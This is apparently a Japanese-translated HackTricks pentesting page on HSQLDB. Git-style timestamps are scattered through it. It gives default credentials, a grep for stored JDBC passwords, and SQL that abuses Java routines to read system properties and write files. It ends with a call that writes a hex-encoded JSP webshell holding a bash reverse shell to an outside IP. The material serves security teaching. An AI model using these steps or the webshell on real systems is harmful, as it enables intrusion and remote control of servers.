2024-07-19 04:46:20 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 04:46:20 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 04:46:20 +00:00
< summary > Support HackTricks< / summary >
2022-04-28 16:01:33 +00:00
2024-07-19 04:46:20 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 04:46:20 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
# 基本情報
2020-12-02 23:18:31 +00:00
2024-07-19 04:46:20 +00:00
**HSQLDB \([HyperSQL DataBase ](http://hsqldb.org/ )\)** は、Javaで書かれた主要なSQLリレーショナルデータベースシステムです。小型で高速なマルチスレッドおよびトランザクショナルデータベースエンジンを提供し、メモリ内およびディスクベースのテーブルをサポートし、埋め込みモードとサーバーモードをサポートしています。
2020-12-02 23:18:31 +00:00
2024-01-05 23:09:45 +00:00
**デフォルトポート:** 9001
2020-12-02 23:18:31 +00:00
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
2023-07-07 23:42:27 +00:00
# 情報
2020-12-02 23:18:31 +00:00
2023-07-07 23:42:27 +00:00
### デフォルト設定
2020-12-02 23:18:31 +00:00
2024-07-19 04:46:20 +00:00
デフォルトでは、このサービスはメモリ内で実行されているか、localhostにバインドされている可能性があります。これを見つけた場合、別のサービスを悪用し、特権を昇格させようとしている可能性があります。
2020-12-02 23:18:31 +00:00
2024-07-19 04:46:20 +00:00
デフォルトの認証情報は通常、`sa`と空のパスワードです。
2020-12-02 23:18:31 +00:00
2024-07-19 04:46:20 +00:00
別のサービスを悪用した場合、可能な認証情報を検索してください。
2020-12-02 23:18:31 +00:00
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
2024-07-19 04:46:20 +00:00
注意深くデータベース名を確認してください - 接続するために必要です。
2020-12-02 23:18:31 +00:00
2023-07-07 23:42:27 +00:00
# 情報収集
2020-12-02 23:18:31 +00:00
2024-07-19 04:46:20 +00:00
[HSQLDB ](https://sourceforge.net/projects/hsqldb/files/ )をダウンロードして、`hsqldb/lib/hsqldb.jar`を抽出することでDBインスタンスに接続します。`java -jar hsqldb.jar`を使用してGUIアプリを実行し、発見した/弱い資格情報を使用してインスタンスに接続します。
2020-12-02 23:18:31 +00:00
2024-07-19 04:46:20 +00:00
接続URLはリモートシステムの場合、次のようになります: `jdbc:hsqldb:hsql://ip/DBNAME` 。
2020-12-02 23:18:31 +00:00
2024-07-19 04:46:20 +00:00
# トリック
2020-12-02 23:18:31 +00:00
2023-07-07 23:42:27 +00:00
## Java言語ルーチン
2020-12-02 23:18:31 +00:00
2024-07-19 04:46:20 +00:00
HSQLDBからJava言語ルーチンを使用してJavaクラスの静的メソッドを呼び出すことができます。呼び出されるクラスはアプリケーションのクラスパスに含まれている必要があります。
2020-12-02 23:18:31 +00:00
2024-07-19 04:46:20 +00:00
JRTは`関数`または`手続き`です。関数は、Javaメソッドが1つ以上のSQL互換のプリミティブ変数を返す場合、SQL文を介して呼び出すことができます。`VALUES`文を使用して呼び出されます。
2020-12-02 23:18:31 +00:00
2024-07-19 04:46:20 +00:00
呼び出したいJavaメソッドがvoidを返す場合、`CALL`文を使用して呼び出される手続きを使用する必要があります。
2020-12-02 23:18:31 +00:00
2023-07-07 23:42:27 +00:00
## Javaシステムプロパティの読み取り
2020-12-02 23:18:31 +00:00
2024-07-19 04:46:20 +00:00
関数を作成:
2020-12-02 23:18:31 +00:00
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
2024-07-19 04:46:20 +00:00
関数を実行する:
2020-12-02 23:18:31 +00:00
```text
VALUES(getsystemproperty('user.name'))
```
2024-02-09 12:54:39 +00:00
You can find a [list of system properties here ](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html ).
2020-12-02 23:18:31 +00:00
2024-07-19 04:46:20 +00:00
## ファイルにコンテンツを書く
2020-12-02 23:18:31 +00:00
2024-07-19 04:46:20 +00:00
`com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Javaガジェットを使用して、カスタム手順を介して16進エンコードされたアイテムをディスクに書き込むことができます( JDKにあり、アプリケーションのクラスパスに自動的にロードされます) 。**最大サイズは1024バイトです**。
2020-12-02 23:18:31 +00:00
2024-07-19 04:46:20 +00:00
手順を作成:
2020-12-02 23:18:31 +00:00
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
2024-07-19 04:46:20 +00:00
手続きを実行する:
2020-12-02 23:18:31 +00:00
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
2024-07-19 04:46:20 +00:00
{% hint style="success" %}
AWSハッキングを学び、実践する: < img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
GCPハッキングを学び、実践する: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 04:46:20 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 04:46:20 +00:00
< summary > HackTricksをサポートする< / summary >
2022-04-28 16:01:33 +00:00
2024-07-19 04:46:20 +00:00
* [**サブスクリプションプラン** ](https://github.com/sponsors/carlospolop )を確認してください!
* **💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 04:46:20 +00:00
{% endhint %}